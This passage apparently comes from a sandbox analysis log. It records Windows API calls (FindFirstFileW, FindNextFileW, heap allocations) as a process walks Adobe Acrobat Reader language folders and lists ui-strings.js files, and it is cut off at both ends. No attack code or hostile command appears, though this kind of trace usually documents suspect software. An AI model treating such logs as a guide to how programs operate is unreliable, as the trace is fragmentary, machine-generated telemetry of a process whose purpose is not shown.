ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.626] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.627] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.627] GetProcessHeap () returned 0xc10000 [0253.627] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.628] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0253.628] GetProcessHeap () returned 0xc10000 [0253.628] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.629] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.629] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3de6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.629] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3de6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.629] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.630] GetProcessHeap () returned 0xc10000 [0253.630] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.630] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0253.630] GetProcessHeap () returned 0xc10000 [0253.630] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.632] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.632] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3a33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.632] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3a33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.632] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.632] GetProcessHeap () returned 0xc10000 [0253.633] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.633] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0253.633] GetProcessHeap () returned 0xc10000 [0253.633] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.633] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.633] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3c8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.633] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3c8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.634] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.634] GetProcessHeap () returned 0xc10000 [0253.634] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.634] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0253.635] GetProcessHeap () returned 0xc10000 [0253.635] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.635] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.635] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x40ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.635] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x40ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.635] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.636] GetProcessHeap () returned 0xc10000 [0253.636] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.636] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0253.637] GetProcessHeap () returned 0xc10000 [0253.637] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.637] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.637] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.638] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.638] GetProcessHeap () returned 0xc10000 [0253.638] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.638] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0253.638] GetProcessHeap () returned 0xc10000 [0253.638] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.638] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.639] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.639] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.639] GetProcessHeap () returned 0xc10000 [0253.639] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.639] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0253.639] GetProcessHeap () returned 0xc10000 [0253.639] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.640] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.640] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.640] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.640] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.641] GetProcessHeap () returned 0xc10000 [0253.641] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.641] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0253.641] GetProcessHeap () returned 0xc10000 [0253.641] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0253.643] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.643] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3db9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.643] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3db9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.643] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0253.643] GetProcessHeap () returned 0xc10000 [0253.643] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, 